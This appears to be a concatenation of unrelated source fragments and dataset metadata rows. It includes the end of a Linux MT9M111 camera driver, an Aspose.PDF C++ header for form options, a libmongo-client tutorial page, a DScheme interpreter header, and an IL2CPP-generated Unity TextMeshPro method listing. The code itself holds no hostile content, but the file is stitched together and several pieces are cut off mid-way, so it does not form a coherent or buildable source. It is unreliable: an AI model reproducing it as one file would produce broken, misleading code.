mt9m111->rect.width = MT9M111_MAX_WIDTH;
mt9m111->rect.height = MT9M111_MAX_HEIGHT;
mt9m111->fmt = &mt9m111_colour_fmts[0];
ret = mt9m111_video_probe(icd, client);
if (ret) {
icd->ops = NULL;
kfree(mt9m111);
}
return ret;
}
static int mt9m111_remove(struct i2c_client *client)
{
struct mt9m111 *mt9m111 = to_mt9m111(client);
struct soc_camera_device *icd = client->dev.platform_data;
icd->ops = NULL;
kfree(mt9m111);
return 0;
}
static const struct i2c_device_id mt9m111_id[] = {
{ "mt9m111", 0 },
{ }
};
MODULE_DEVICE_TABLE(i2c, mt9m111_id);
static struct i2c_driver mt9m111_i2c_driver = {
.driver = {
.name = "mt9m111",
},
.probe = mt9m111_probe,
.remove = mt9m111_remove,
.id_table = mt9m111_id,
};
static int __init mt9m111_mod_init(void)
{
return i2c_add_driver(&mt9m111_i2c_driver);
}
static void __exit mt9m111_mod_exit(void)
{
i2c_del_driver(&mt9m111_i2c_driver);
}
module_init(mt9m111_mod_init);
module_exit(mt9m111_mod_exit);
MODULE_DESCRIPTION("Micron/Aptina MT9M111/MT9M112/MT9M131 Camera driver");
MODULE_AUTHOR("Robert Jarzmik");
MODULE_LICENSE("GPL");
| 25.872042 | 80 | 0.735467 | [
"model"
] |
ebec3b56e015a848aae1f0e0b1c06172f49c3ec6 | 2,115 | h | C | Examples/include/Aspose.Pdf.Cpp/InteractiveFeatures/Forms/Option.h | kashifiqb/Aspose.PDF-for-C | 13d49bba591c5704685820185741e64a462a5bdc | [
"MIT"
] | null | null | null | Examples/include/Aspose.Pdf.Cpp/InteractiveFeatures/Forms/Option.h | kashifiqb/Aspose.PDF-for-C | 13d49bba591c5704685820185741e64a462a5bdc | [
"MIT"
] | null | null | null | Examples/include/Aspose.Pdf.Cpp/InteractiveFeatures/Forms/Option.h | kashifiqb/Aspose.PDF-for-C | 13d49bba591c5704685820185741e64a462a5bdc | [
"MIT"
] | null | null | null | #pragma once
// Copyright (c) 2001-2019 Aspose Pty Ltd. All Rights Reserved.
#include <system/string.h>
#include <system/shared_ptr.h>
#include <system/object.h>
#include <cstdint>
#include "aspose_pdf_api_defs.h"
namespace Aspose { namespace Pdf { namespace Facades { class Form; } } }
namespace Aspose { namespace Pdf { namespace Forms { class OptionCollection; } } }
namespace Aspose { namespace Pdf { namespace Forms { class BaseOption; } } }
namespace Aspose {
namespace Pdf {
namespace Forms {
/// <summary>
/// Class represents option of choice field.
/// </summary>
class ASPOSE_PDF_SHARED_API Option FINAL : public System::Object
{
typedef Option ThisType;
typedef System::Object BaseType;
typedef ::System::BaseTypesInfo<BaseType> ThisTypeBaseTypesInfo;
RTTI_INFO_DECL();
FRIEND_FUNCTION_System_MakeObject;
friend class Aspose::Pdf::Facades::Form;
friend class Aspose::Pdf::Forms::OptionCollection;
friend class Aspose::Pdf::Forms::OptionCollection;
public:
/// <summary>
/// Gets option export value.
/// </summary>
System::String get_Value();
/// <summary>
/// Sets option export value.
/// </summary>
void set_Value(System::String value);
/// <summary>
/// Gets name of option.
/// </summary>
System::String get_Name();
/// <summary>
/// Sets name of option.
/// </summary>
void set_Name(System::String value);
/// <summary>
/// Gets selected status of option. Returns true if option is selected.
/// </summary>
bool get_Selected();
/// <summary>
/// Sets selected status of option. Returns true if option is selected.
/// </summary>
void set_Selected(bool value);
/// <summary>
/// Gets index of the option.
/// </summary>
int32_t get_Index();
protected:
System::SharedPtr<BaseOption> option;
Option(System::SharedPtr<BaseOption> option);
bool HasExportValue();
System::Object::shared_members_type GetSharedMembers() override;
};
} // namespace Forms
} // namespace Pdf
} // namespace Aspose
| 25.178571 | 82 | 0.659574 | [
"object"
] |
ebed5a14c7812c88a25819ffa1a907b52e06c85d | 2,050 | h | C | docs/tutorial/tut_mongo_sync_query.h | bigmaliang/libmongo-client | 8d6351e4f92606e03fdff07e5f7359542c085c42 | [
"Apache-2.0"
] | 3 | 2015-04-06T18:42:06.000Z | 2016-01-03T04:46:15.000Z | docs/tutorial/tut_mongo_sync_query.h | bigmaliang/libmongo-client | 8d6351e4f92606e03fdff07e5f7359542c085c42 | [
"Apache-2.0"
] | 5 | 2015-06-20T15:19:13.000Z | 2017-06-08T13:38:20.000Z | docs/tutorial/tut_mongo_sync_query.h | bigmaliang/libmongo-client | 8d6351e4f92606e03fdff07e5f7359542c085c42 | [
"Apache-2.0"
] | 6 | 2015-01-28T13:23:07.000Z | 2020-11-09T17:38:11.000Z | /** @page tut_mongo_sync_query Querying documents
*
* We can connect, insert, and we still vaguely remember how to build
* BSON objects: how about we go out and query the database this time?
*
* @dontinclude tut_mongo_sync.c
* @skip tut_sync_insert
* @skip }
* @skip void
* @until {
*
* First, we define a couple of variables: a connection, a packet, a
* cursor, a BSON object and a counter:
*
* @until gint i
*
* We'll use the packet as an intermediate step between querying and
* making a cursor. We'll see why later. The query will be used to
* limit the documents queried, and the counter is just for pretty
* printing.
*
* Then we do our routine connect:
* @until }
*
* And then build a BSON object, an empty one, because an empty query
* means we're interested in all of the documents!
* @until bson_finish
*
* Now we have a connection, and we have a query, lets tell MongoDB
* what we want:
*
* @until bson_free
*
* The first two parameters are obvious. The third is a set of flags -
* but we don't use any right now. Then comes the number of documents
* to skip, and the number of documents to return, followed by a
* query, and an optional field selector, which we just left empty
* (meaning we want all fields returned).
*
* There's more than one way to figure out the data returned by a
* query: we can either use the returned packet as-is, and extract
* data from it using the low-level mongo_wire family of functions. Or
* we can make a cursor out of this packet, and iterate over the
* elements:
*
* @until }
*
* @until }
*
* The first thing we do inside of the loop is to get the data from
* the cursor - or bail out with an error if we can't.
*
* @until printf
*
* Then we proceed to make a BSON cursor, and print all the keys that
* belong to the document.
*
* Once that's done, we free the resources we used, and continue along
* the loop, until our cursor signals the end of the query.
*
* @until printf
*
* @until }
*
* Then we clean up and go home:
* @until }
*/
| 30.147059 | 70 | 0.698049 | [
"object"
] |
ebee8e412c00cf5c84df7fd6677a8bbdaf9c31c0 | 20,897 | h | C | src/schinc.h | alfredkayser/DScheme | d963b38f032a80627dfa3292ab75950263ccb26d | [
"CC0-1.0"
] | 1 | 2021-08-16T21:18:32.000Z | 2021-08-16T21:18:32.000Z | src/schinc.h | alfredkayser/DScheme | d963b38f032a80627dfa3292ab75950263ccb26d | [
"CC0-1.0"
] | null | null | null | src/schinc.h | alfredkayser/DScheme | d963b38f032a80627dfa3292ab75950263ccb26d | [
"CC0-1.0"
] | null | null | null | /**********************************************************************
** MODULE INFORMATION*
**********************
** FILE NAME: SCHINC.H
** SYSTEM NAME: SCHEME
** ORIGINAL AUTHOR(S): Alfred Kayser
** VERSION NUMBER: 1.5.5
** CREATION DATE: 88/03/01
**
** DESCRIPTION: Global include file for the SCHEME system.
***********************************************************************
** CHANGES INFORMATION **
*************************
** REVISION: $Revision: $
** CHANGER: $Author: $
** WORKFILE: $Workfile: $
** LOGFILE: $Logfile: $
** LOGINFO: $Log: $
**********************************************************************/
#define UNIX
#define MAXSTR 2048 /* Maximum string size */
#define IOBUFSIZE 512 /* buffer size of file IO ports */
#define AUTHOR "Alfred Kayser"
#define SYSTEM "DScheme"
#define VERSION "1.5.5"
#if defined OS2 || defined MSDOS /* All OS/2 compilers are more or less ANSI */
#define MSC /* Both are MicroSoft C (No TURBO-C Please!!!) */
#define __STDC__ /* An ANSI volation itself, but it must be */
#endif
/******************* All included headerfiles ******************/
#ifdef __STDC__
# include <signal.h>
# include <stdarg.h>
# include <stdlib.h>
# include <malloc.h>
# include <limits.h>
#else
# include <varargs.h>
# include <values.h>
# include <sys/signal.h>
#endif
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <math.h>
#include <errno.h>
#include <time.h>
#include <setjmp.h>
#ifndef OS2_INCLUDED /* OS/2 has already defined these in os2.h */
typedef char CHAR;
typedef short SHORT;
typedef long LONG;
typedef unsigned char BYTE;
typedef unsigned short USHORT;
typedef unsigned long ULONG;
# undef __ /* Undefine various junk */
# undef PASCAL
# undef FAR
#endif
typedef SHORT WORD;
typedef LONG DWORD;
#ifdef __STDC__
#define __(a) a
#define VAR_ARGS
#define VAR_DCL
#define VAR_START(va,f) va_start(va,f)
#else
#define __(a) ()
#define VAR_ARGS , va_alist
#define VAR_DCL va_dcl
#define VAR_START(va,f) va_start(va)
#endif
#ifdef MSC
# pragma pack(2)
# include <conio.h>
# include <dos.h>
# define FAR _far
# define FARMALLOC(size,t) _fmalloc((size)*sizeof(t))
# define FFREE(size) _ffree(size)
# define CDECL _cdecl
# define CONST const
# define PASCAL _fastcall
# define MATHTRAP
# ifdef OS2
# undef MSDOS /* Undo 'bug' of Microsoft C */
# endif /* Compiling /Lp under OS2 has MSDOS defined */
#endif
#ifdef UNIX
# define UNTYPE char
# define MATHTRAP
#endif
/*---------------------- Defaults of various defines ----------------------*/
#ifndef INT_MAX
# define INT_MAX MAXINT
# define time_t long
#endif
#ifndef SIG_ERR
# define SIG_ERR -1
#endif
#ifndef CLOCKS_PER_SEC
# define CLOCKS_PER_SEC 1000000L /* number of ticks per seconds */
#endif
#ifndef FAR
# define FAR
# define FARMALLOC(size,t) (t *)malloc((size)*sizeof(t))
# define FFREE(size) free(size)
#endif
#ifndef CDECL
# define CDECL
#endif
#ifndef PASCAL
# define PASCAL
#endif
#ifndef UNTYPE
# define UNTYPE void
#endif
#ifndef CONST
# define CONST
#endif
#ifndef SEEK_SET
# define SEEK_SET 0
# define SEEK_CUR 1
# define SEEK_END 2
#endif
/*----------------------------------------------------------------------*/
/* Definition datatypes */
/*----------------------------------------------------------------------*/
/*--------------------------------------*/
typedef struct _cel CEL; /* Scheme cell */
typedef CEL FAR * CELP; /* Pointer to scheme cell */
typedef CELP FAR * CELPP; /* (far) pointer to cell pointer */
typedef struct _pts PTS; /* 2 pointers to Scheme cell */
typedef struct _pti PTI; /* 1 int & 1 pointer */
typedef struct _tms TMS; /* 1 long & 1 float */
typedef struct _str STP; /* String construction part */
typedef union _cvl CVAL; /* Scheme cell without tag */
typedef struct _key KEY; /* Key cell */
typedef struct _ext EXT; /* External procedure cell */
typedef struct _big BIG; /* Bignum integer */
typedef int CHR; /* Scheme character */
typedef double REAL; /* Scheme floating point */
typedef struct _port PORT; /* Structure with filedefinition */
typedef struct _glb GLOBAL; /* Structure with global var's */
typedef struct _extdef EXTDEF; /* External definition record */
/*--------------------------------------*/
typedef void (PASCAL * TCALL) __((int)); /* Trace Call function */
typedef int (PASCAL * INP_FUN) __((UNTYPE *)); /* same as fgetc */
typedef void (PASCAL * OUT_FUN) __((int, UNTYPE *)); /* same as fputc */
typedef void (PASCAL * CTL_FUN) __((UNTYPE *, int));
typedef CELP (* EXTPROC) __((void));
typedef int (* ERRFUN) __((GLOBAL *, int, CELP));
/*----------------------------------------------------------------------*/
/* Scheme structures and such */
/* The CDR pointer used in _pts,_pti and _str must be on the */
/* same place in all structures. */
/*----------------------------------------------------------------------*/
struct _pts { /*--------------------------------------*/
CELP cdr; /* Cdr pointer (4) */
CELP car; /* Car pointer (4) */
}; /*--------------------------------------*/
struct _pti { /*--------------------------------------*/
CELP cdr; /* Cdr pointer (blockallocation) (4) */
long icar; /* Car value (this pair is for) (4) */
}; /*--------------------------------------*/
struct _ext { /*--------------------------------------*/
CELP cdr; /* Cdr pointer (points to name) (4) */
EXTDEF *extdef; /* External function definition (4) */
}; /*--------------------------------------*/
struct _key { /*--------------------------------------*/
CELP cdr; /* Cdr pointer (points to name) (4) */
WORD keynr; /* Keyword number (2) */
WORD args; /* Number of arguments to expect (2) */
}; /*--------------------------------------*/
struct _str { /*--------------------------------------*/
char * stp; /* Pointer to string (4) */
int len; /* length of string (2) */
}; /*--------------------------------------*/
struct _tms { /*--------------------------------------*/
WORD time; /* month+day (0=unknown) (2) */
WORD date; /* year (0=unknown) (2) */
float fsec; /* float (fraction of secs) (4) */
}; /*--------------------------------------*/
struct _big { /*--------------------------------------*/
CELP cdr; /* ptr to next part of bignum. (4) */
long int1; /* 9 digits integer for bignum (4) */
}; /*--------------------------------------*/
union _cvl { /*--------------------------------------*/
PTS pair; /* a pair cell (2 pointers) */
PTI spec; /* a special cell */
KEY key; /* key cell */
EXT ext; /* external procedure cell */
BIG bignum; /* bignumber */
REAL rv; /* Floating point value */
CHR ch; /* Character */
TMS ts; /* Timestamp (long + float) */
STP sp; /* Pointer to string + length */
PORT *prt; /* Scheme port */
}; /*--------------------------------------*/
struct _cel { /*--------------------------------------*/
BYTE tag; /* Cell type indicator (1) */
BYTE gcflags; /* Garbage collector flags (1) */
CVAL dat; /* Value of this cell (8) */
}; /*--------------------------------------*/
struct _extdef{ /*--------------------------------------*/
char *name; /* pointer to name (4) */
EXTPROC extrn; /* function pointer (4) */
WORD args; /* Number of arguments to expect (2) */
BYTE at1; /* Indicates type of arg 1 wanted (1) */
BYTE at2; /* Indicates type of arg 2 wanted (1) */
BYTE at3; /* Indicates type of arg 3 wanted (1) */
}; /*--------------------------------------*/
struct _port { /*--------------------------------------*/
UNTYPE *stream; /* Pointer to stream info (2) */
OUT_FUN portout; /* input function (2) */
INP_FUN portin; /* output function (2) */
CTL_FUN portctl; /* port control function (2) */
DWORD lineno; /* line number (4) */
WORD dir; /* Type of port (-1=FREE,1=READ,..) (2) */
CHR unput; /* Unputted character (2) */
}; /*--------------------------------------*/
struct _glb { /*--------------------------------------*/
CELP sysenv; /* The system environment */
CELP curenv; /* Current environment in eval */
CELP topexp; /* Points to current expression in eval */
CELP curargs; /* Pointer to list with arguments */
CELPP conssym; /* Array with pointers to constants */
CELPP sstack; /* Scheme eval. stack */
CELPP estack; /* End of Scheme eval. stack */
CELPP stkptr; /* Pointer to top of stack */
/*--------------------------------------*/
WORD hashsize; /* Hashtable size (<32000) */
CELP *hashtab; /* hashtable */
CELP freel; /* Pointer to first cell in freelist */
CELP fblk; /* Pointer to first block with cells */
long freecels; /* Number of free cells */
CELP freestr; /* List with free strspace descriptors */
CELP allostr; /* List with allocaetd strspace blocks */
long strspace; /* number of characters free in strspace*/
long strsize; /* total number of chars. in strspace */
/*--------------------------------------*/
DWORD iobufflag; /* IObuffer flags, TRUE when used */
WORD iobufsize; /* Size of IO buffers */
WORD ionumbuf; /* Number of IO buffers */
char *iobuffers; /* Io buffer space */
char *bigbuf; /* Big string buffer for IO */
WORD bigbufsize;/* Big buffer size */
DWORD GCtreshold;/* Garbage collect when free<treshold */
WORD GCflag; /* Garbage Collect flag */
char prompt[40];/* prompt */
WORD evaldepth; /* Depth of evaluation */
WORD debug; /* debug level */
BYTE verbose; /* informative mode */
BYTE bignum; /* Bignumber math linked? */
/*--------------------------------------*/
PORT *inport; /* Pointer to input port struct */
PORT *outport; /* Pointer to output port " */
PORT *errport; /* Pointer to error port */
PORT *sinport; /* Pointer to stdin port (always active)*/
PORT *soutport; /* Pointer to stdout port(always active)*/
PORT *serrport; /* Pointer to stderr port(always active)*/
PORT *ports; /* Port resource */
WORD prtnum; /* Number of ports in port resource */
/*--------------------------------------*/
jmp_buf err_jmp; /* Place to jump to on error */
int errnr; /* Error number */
DWORD errline; /* Linenumber where error occurred */
CELP errexp; /* Expression in error */
CELP erritem; /* Item in error */
CELP curexp; /* Remember current expression */
ERRFUN errfunc; /* Error reporting function */
WORD magic; /* A magic number. (should be last) */
}; /*--------------------------------------*/
#define COOKIE 21345 /* glo->magic must contain this value */
#define BIGBASE 100000000L /* Bignumber base */
/*--------------------------------------------------------------*/
/* The TYPE tag identifies the type of the car value of a cell */
/*--------------------------------------------------------------*/
#define MASKCDR (0x40) /* bit mask for CDR pointer */
#define MASKCAR (0x20) /* bit mask for CAR pointer */
#define MASKSYM (0x10) /* bit mask to test for symbol (CDR) */
#define MASKNUM (0x08) /* bit mask to test for number */
#define MASKVAR (0x7E) /* bit mask for env. vars */
#define _ISCDR(c) ((c)->tag & MASKCDR)
#define _ISCAR(c) ((c)->tag & MASKCAR)
#define _ISSYM(c) ((c)->tag & MASKSYM)
#define _ISNUM(c) ((c)->tag & MASKNUM)
#define _ISBIG(c) (((c)->tag & (MASKCDR+MASKNUM))==MASKCDR+MASKNUM)
#define _ISVAR(c) (((c)->tag & 0x5E)==0x54)
/*------------------------------------------*/
#define TYPE_NIL 0x00 /* NIL */
#define TYPE_TMS 0x01 /* Timestamp (DWORD & float) */
#define TYPE_CHR 0x02 /* Char (CHR) */
#define TYPE_PRT 0x03 /* Scheme port (pointer to PORT) */
#define TYPE_STR 0x04 /* String (str:length & char*) */
#define TYPE_VEC 0x05 /* Vector type (see: type_str) */
#define TYPE_OID 0x06 /* OID */
/* Cells with NUMBERS: */
#define TYPE_INT 0x08 /* Integer (DWORD) */
#define TYPE_FLT 0x09 /* Floating point (REAL) */
/* Cells with only a CDR pointer */
#define TYPE_FREE 0x40 /* Free cell */
/* Cells with Numbers and CDR pointers */
#define TYPE_BIGP 0x48 /* BIG! Integer positive (BIG) */
#define TYPE_BIGN 0x49 /* BIG! Integer negative (BIG) */
/* Cells with Symbols: */
#define TYPE_EXT 0x50 /* External procedure (fun & int) */
#define TYPE_SPC 0x51 /* Special pair (constants) */
#define TYPE_FUN 0x52 /* Function definition cell (ptr+2int) */
#define TYPE_SYM 0x54 /* Symbol (ptr to name) */
#define TYPE_KEY 0x55 /* Keyword & std procs (2 WORD & ptr=>sym) */
/* Cells with CAR and CDR pointers: */
#define TYPE_PAIR 0x60 /* Cel is a pair of pointers (pts:2*) */
#define TYPE_PRC 0x61 /* User defined proc (pts to proc & env) */
/* Cell ISSYM, ISCAR, ISCDR */
#define TYPE_SYMD 0x74 /* Symbol +value (defined in toplevel) */
#define TYPE_MAC 0x75 /* Macro definition (2 pointers) */
/*------------------------------------------*/
/**--------------------------------------------------------------**/
/** The IP number indicates what action should be taken when **/
/** eval wants to evaluate this element. **/
/**--------------------------------------------------------------**/
/**--------------------------------------**/
#define IP_EOF 0 /** EOF object **/
#define IP_DEF 1 /** Special form: DEFINE **/
#define IP_QUOTE 2 /** Special form: QUOTE **/
#define IP_LAMBDA 3 /** Special form: LAMBDA **/
#define IP_IF 4 /** Special form: IF **/
#define IP_SET 5 /** Special form: SET! **/
#define IP_BEGIN 6 /** Special form: BEGIN **/
#define IP_COND 7 /** Special form: COND **/
#define IP_CASE 8 /** Special form: CASE **/
#define IP_LET 9 /** Special form: LET **/
#define IP_LETA 10
#define IP_LETREC 11 /** Special form: LETREC **/
#define IP_MACRO 12 /** Special form: MACRO **/
#define IP_DO 13 /** Special form: DO **/
#define IP_DELAY 14 /** Special form: DELAY **/
#define IP_APPLY 15 /** Special form: APPLY **/
#define IP_EVAL 16 /** Special form: EVAL **/
#define IP_CONS 17 /** Special CONS **/
#define IP_LIST 18 /** Special LIST **/
#define IP_NULL 19 /** Special NULL (and NOT) **/
#define IP_NOT 20 /** Same as NULL **/
#define IP_AND 21 /** Special AND **/
#define IP_OR 22 /** Special OR **/
#define IP_EXIT 23
#define IP_BREAK 24
#define IP_VERSION 25
#define IP_COLLECT 26
/**--------------------------------------**/
#define IP_TRUE 27 /** not a real keyword **/
#define IP_INVIS 28
#define IP_UNDEF 29
#define IP_ELSE 30
/********************** Trace defines **************************/
#define T_SELF 1
#define T_START 2
#define T_MACRO 3
#define T_END 4
#define T_TAIL 5
#define T_APPLY 6
#define T_LOOKUP 7
/****************** Standard defines ***************************/
#define FREE 0x00
#define READMODE 0x01 /* bit 0 is read flag */
#define WRITMODE 0x02 /* bit 1 is write flag */
#define READWRIT 0x03 /* both 0 and 1 */
#define STANDARD 0x10 /* port is std-in/out/err */
#define UNPUTTED 0x20 /* char in unput buffer */
#define GCMARK 0x80 /* GC mark */
#include "scheme.h"
#include "schmac.h"
/*--------------------------------------------------------------*/
/* Include the SCH prototypes */
/*--------------------------------------------------------------*/
#include "schdcl.h"
#ifdef FIXEDGLO
extern GLOBAL DsGlo;
#else
extern GLOBAL *DsGlo;
#endif
extern CELP Q_invis;
extern CELP Q_true;
extern CELP item;
extern CELP key; /* Needed for tracing and sys-dumps */
| 49.401891 | 80 | 0.401206 | [
"object",
"vector"
] |
ebf17cffb34fcb7b8df4173bc04e7e7ed5237f91 | 1,366 | h | C | MMOserver/MMOserver/SQLmanager.h | tsukasaroot/TheSeed | 252e2285df756c8aaa82c3ea9358cf6d6f2c8f3a | [
"Apache-2.0"
] | null | null | null | MMOserver/MMOserver/SQLmanager.h | tsukasaroot/TheSeed | 252e2285df756c8aaa82c3ea9358cf6d6f2c8f3a | [
"Apache-2.0"
] | 1 | 2021-05-13T08:54:03.000Z | 2021-05-17T17:25:14.000Z | MMOserver/MMOserver/SQLmanager.h | tsukasaroot/TheSeed | 252e2285df756c8aaa82c3ea9358cf6d6f2c8f3a | [
"Apache-2.0"
] | 1 | 2021-08-24T09:22:07.000Z | 2021-08-24T09:22:07.000Z | #ifndef SQLMANAGER_H_
#define SQLMANAGER_H_
#include "xmlParser.h"
#include "mysql_connection.h"
#include <cppconn/driver.h>
#include <cppconn/exception.h>
#include <cppconn/prepared_statement.h>
#include <vector>
#include <windows.h>
#include <iostream>
#include <string>
#include <errno.h>
#include <winsock.h>
#include <algorithm>
#include <map>
#include <thread>
#include <sstream>
#pragma comment(lib, "ws2_32.lib")
std::map<std::string, std::vector<std::string>> stockXML(xmlParser* reader);
std::vector<std::string> formatString(std::string line);
class SQLManager {
public:
SQLManager();
void insert(std::string table, std::string column, std::vector<std::string> values);
void update(std::string user, std::string cond, std::string table, std::vector<std::pair<std::string, std::string>> values);
std::map<std::string, std::string> checkLogin(std::string nickName);
std::map<std::string, std::string> initPlayer(std::string name);
void get(std::string table, std::vector<std::string> fields, std::vector<std::string> columnName, std::vector<std::string> where);
private:
std::string server;
std::string userName;
std::string password = "";
int port = 3306;
sql::Driver *driver;
sql::Connection *con;
sql::ConnectOptionsMap connection_properties;
xmlParser* reader;
std::map<std::string, std::vector<std::string>> config;
};
#endif
| 26.784314 | 131 | 0.727672 | [
"vector"
] |
ebf61b38f69dc328a91ace3016f58494169f76a5 | 462,800 | c | C | Library/Bee/artifacts/Android/il2cppOutput/cpp/Unity.TextMeshPro_CodeGen.c | OhioAdam/TABL3 | 6556d956eb5f4dafd8159b039bd019aafee494bb | [
"MIT"
] | null | null | null | Library/Bee/artifacts/Android/il2cppOutput/cpp/Unity.TextMeshPro_CodeGen.c | OhioAdam/TABL3 | 6556d956eb5f4dafd8159b039bd019aafee494bb | [
"MIT"
] | null | null | null | Library/Bee/artifacts/Android/il2cppOutput/cpp/Unity.TextMeshPro_CodeGen.c | OhioAdam/TABL3 | 6556d956eb5f4dafd8159b039bd019aafee494bb | [
"MIT"
] | null | null | null | #include "pch-c.h"
#ifndef _MSC_VER
# include <alloca.h>
#else
# include <malloc.h>
#endif
#include "codegen/il2cpp-codegen-metadata.h"
// 0x00000001 System.Void TMPro.FastAction::Add(System.Action)
extern void FastAction_Add_m825D4C18BAB7721BE32B7097493D34F201BF81F3 (void);
// 0x00000002 System.Void TMPro.FastAction::Remove(System.Action)
extern void FastAction_Remove_mAF00AE428F0F047567E37925BBD4A5750ECD63D4 (void);
// 0x00000003 System.Void TMPro.FastAction::Call()
extern void FastAction_Call_mBAF2E050A7548718C6596AA230EBBD3945595298 (void);
// 0x00000004 System.Void TMPro.FastAction::.ctor()
extern void FastAction__ctor_mF3C5146C45DAE04B656283ED83FAF3F463D38F33 (void);
// 0x00000005 System.Void TMPro.FastAction`1::Add(System.Action`1<A>)
// 0x00000006 System.Void TMPro.FastAction`1::Remove(System.Action`1<A>)
// 0x00000007 System.Void TMPro.FastAction`1::Call(A)
// 0x00000008 System.Void TMPro.FastAction`1::.ctor()
// 0x00000009 System.Void TMPro.FastAction`2::Add(System.Action`2<A,B>)
// 0x0000000A System.Void TMPro.FastAction`2::Remove(System.Action`2<A,B>)
// 0x0000000B System.Void TMPro.FastAction`2::Call(A,B)
// 0x0000000C System.Void TMPro.FastAction`2::.ctor()
// 0x0000000D System.Void TMPro.FastAction`3::Add(System.Action`3<A,B,C>)
// 0x0000000E System.Void TMPro.FastAction`3::Remove(System.Action`3<A,B,C>)
// 0x0000000F System.Void TMPro.FastAction`3::Call(A,B,C)
// 0x00000010 System.Void TMPro.FastAction`3::.ctor()
// 0x00000011 System.String TMPro.ITextPreprocessor::PreprocessText(System.String)
// 0x00000012 TMPro.MaterialReferenceManager TMPro.MaterialReferenceManager::get_instance()
extern void MaterialReferenceManager_get_instance_mC6448C88A8FF278B0E78F3F32AC076875E5F26FE (void);
// 0x00000013 System.Void TMPro.MaterialReferenceManager::AddFontAsset(TMPro.TMP_FontAsset)
extern void MaterialReferenceManager_AddFontAsset_mA1F8BA167B615497944F6E4B31DA9F8E45D0C002 (void);
// 0x00000014 System.Void TMPro.MaterialReferenceManager::AddFontAssetInternal(TMPro.TMP_FontAsset)
extern void MaterialReferenceManager_AddFontAssetInternal_m8C0B7B9510BF49EBE2380A3E4D9CD3894616FA82 (void);
// 0x00000015 System.Void TMPro.MaterialReferenceManager::AddSpriteAsset(TMPro.TMP_SpriteAsset)
extern void MaterialReferenceManager_AddSpriteAsset_m1D355709819A183E95275CC30065E359AC89E015 (void);
// 0x00000016 System.Void TMPro.MaterialReferenceManager::AddSpriteAssetInternal(TMPro.TMP_SpriteAsset)
extern void MaterialReferenceManager_AddSpriteAssetInternal_m237AFE73008A61174496142E1DE0AFE62BC54738 (void);
// 0x00000017 System.Void TMPro.MaterialReferenceManager::AddSpriteAsset(System.Int32,TMPro.TMP_SpriteAsset)
extern void MaterialReferenceManager_AddSpriteAsset_mA8E02C6A26F186D1652081308A9E9766A8E53B10 (void);
// 0x00000018 System.Void TMPro.MaterialReferenceManager::AddSpriteAssetInternal(System.Int32,TMPro.TMP_SpriteAsset)
extern void MaterialReferenceManager_AddSpriteAssetInternal_m40F829BF9127F458984FD889E70D02474946D84F (void);
// 0x00000019 System.Void TMPro.MaterialReferenceManager::AddFontMaterial(System.Int32,UnityEngine.Material)
extern void MaterialReferenceManager_AddFontMaterial_m348066D6570D0EBDB6C86C87BC657E7C12F008F9 (void);
// 0x0000001A System.Void TMPro.MaterialReferenceManager::AddFontMaterialInternal(System.Int32,UnityEngine.Material)
extern void MaterialReferenceManager_AddFontMaterialInternal_mE7FAF4082935FBB50EA6F11931549BA723BA16D5 (void);
// 0x0000001B System.Void TMPro.MaterialReferenceManager::AddColorGradientPreset(System.Int32,TMPro.TMP_ColorGradient)
extern void MaterialReferenceManager_AddColorGradientPreset_m55EE34E778297611ECA22C6CE4E83F56E258A78E (void);
// 0x0000001C System.Void TMPro.MaterialReferenceManager::AddColorGradientPreset_Internal(System.Int32,TMPro.TMP_ColorGradient)
extern void MaterialReferenceManager_AddColorGradientPreset_Internal_mB23BD54CD86FBEDB4100031E98CCB65C88750C0E (void);
// 0x0000001D System.Boolean TMPro.MaterialReferenceManager::Contains(TMPro.TMP_FontAsset)
extern void MaterialReferenceManager_Contains_m215CCF891A17BC708D981C9DA2BDC9A752BCCACE (void);
// 0x0000001E System.Boolean TMPro.MaterialReferenceManager::Contains(TMPro.TMP_SpriteAsset)
extern void MaterialReferenceManager_Contains_m835A31CDCAD096D2C93CC0DC91ED04A5450A5743 (void);
// 0x0000001F System.Boolean TMPro.MaterialReferenceManager::TryGetFontAsset(System.Int32,TMPro.TMP_FontAsset&)
extern void MaterialReferenceManager_TryGetFontAsset_m96EC9B739B38A5039DA3C8DC94F7C03F0095B0E3 (void);
// 0x00000020 System.Boolean TMPro.MaterialReferenceManager::TryGetFontAssetInternal(System.Int32,TMPro.TMP_FontAsset&)
extern void MaterialReferenceManager_TryGetFontAssetInternal_m2C38E5D98E644C0B43C350A1212BD1B981E435CC (void);
// 0x00000021 System.Boolean TMPro.MaterialReferenceManager::TryGetSpriteAsset(System.Int32,TMPro.TMP_SpriteAsset&)
extern void MaterialReferenceManager_TryGetSpriteAsset_m32C4581E4A4DED54AA35FF4E00EE05E8233B0768 (void);
// 0x00000022 System.Boolean TMPro.MaterialReferenceManager::TryGetSpriteAssetInternal(System.Int32,TMPro.TMP_SpriteAsset&)
extern void MaterialReferenceManager_TryGetSpriteAssetInternal_mEB43000DBA4E428E3BC83ADE74B525E715211D1B (void);
// 0x00000023 System.Boolean TMPro.MaterialReferenceManager::TryGetColorGradientPreset(System.Int32,TMPro.TMP_ColorGradient&)
extern void MaterialReferenceManager_TryGetColorGradientPreset_m90E25347FDBA24D4A2987F3DCAF6D15F62022CE5 (void);
// 0x00000024 System.Boolean TMPro.MaterialReferenceManager::TryGetColorGradientPresetInternal(System.Int32,TMPro.TMP_ColorGradient&)
extern void MaterialReferenceManager_TryGetColorGradientPresetInternal_mC1D435676D1B9576A4F77CC2736D846FF40C592F (void);
// 0x00000025 System.Boolean TMPro.MaterialReferenceManager::TryGetMaterial(System.Int32,UnityEngine.Material&)
extern void MaterialReferenceManager_TryGetMaterial_mF200B9FD05020FF6038ADF7B211F6E7CFB186860 (void);
// 0x00000026 System.Boolean TMPro.MaterialReferenceManager::TryGetMaterialInternal(System.Int32,UnityEngine.Material&)
extern void MaterialReferenceManager_TryGetMaterialInternal_m023208FF7BBB5E5FFA086C1C07F64A2A92413DCB (void);
// 0x00000027 System.Void TMPro.MaterialReferenceManager::.ctor()
extern void MaterialReferenceManager__ctor_mDD3425577D03313636DFE375E377F289D0EA2295 (void);
// 0x00000028 System.Void TMPro.MaterialReference::.ctor(System.Int32,TMPro.TMP_FontAsset,TMPro.TMP_SpriteAsset,UnityEngine.Material,System.Single)
extern void MaterialReference__ctor_m022ED9858AAD1DCEC25CBC4C304797F4539D87E7 (void);
// 0x00000029 System.Boolean TMPro.MaterialReference::Contains(TMPro.MaterialReference[],TMPro.TMP_FontAsset)
extern void MaterialReference_Contains_m53DCCC3459831BB467C904A5C569D6BA82EA9742 (void);
